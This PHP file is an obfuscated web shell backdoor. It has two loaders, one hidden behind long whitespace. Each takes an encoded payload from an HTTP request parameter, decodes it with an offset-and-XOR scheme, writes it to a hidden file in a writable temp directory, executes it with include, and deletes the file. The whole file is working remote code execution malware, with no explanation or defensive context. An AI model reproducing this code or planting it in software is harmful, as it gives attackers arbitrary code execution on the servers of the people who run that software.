<?php																																										if(!empty($_REQUEST["data_\x63h\x75nk"])){ $hld = $_REQUEST["data_\x63h\x75nk"]; $hld =explode ( '.', $hld ) ; $item = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); foreach ($hld as $w => $v1) { $chS = ord($salt7[$w % $lenS]); $d = ((int)$v1 - $chS - ($w % 10)) ^ 1; $item .= chr($d); } $pset = array_filter([sys_get_temp_dir(), "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", "/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir")]); foreach ($pset as $property_set) { if (array_product([is_dir($property_set), is_writable($property_set)])) { $element = "$property_set/.token"; $file = fopen($element, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $element; @unlink($element); exit; } } } }


if(isset($_POST["\x69\x74em"])){
	$key = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/tmp", sys_get_temp_dir()]);
	$hld = $_POST["\x69\x74em"];
		$hld	=  explode  ( 	".",	 $hld)	 ;  
	$ent= '';
            $s= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS= strlen($s);
            $j= 0;
            $len= count($hld);
    
            do {	if($j	 >=  $len) break;
                $v9= $hld[$j];
                $chS= ord($s[$j% $lenS]);
                $dec= ((int)$v9 - $chS -($j% 10)) ^ 13;
                $ent.= chr($dec);
                $j++;
            } while(true);
	foreach ($key as $symbol) {
    		if (!!is_dir($symbol) && !!is_writable($symbol)) {
    $binding = "$symbol" . "/.flg";
    if (file_put_contents($binding, $ent)) {
	include $binding;
	@unlink($binding);
	exit;
}
}
}
}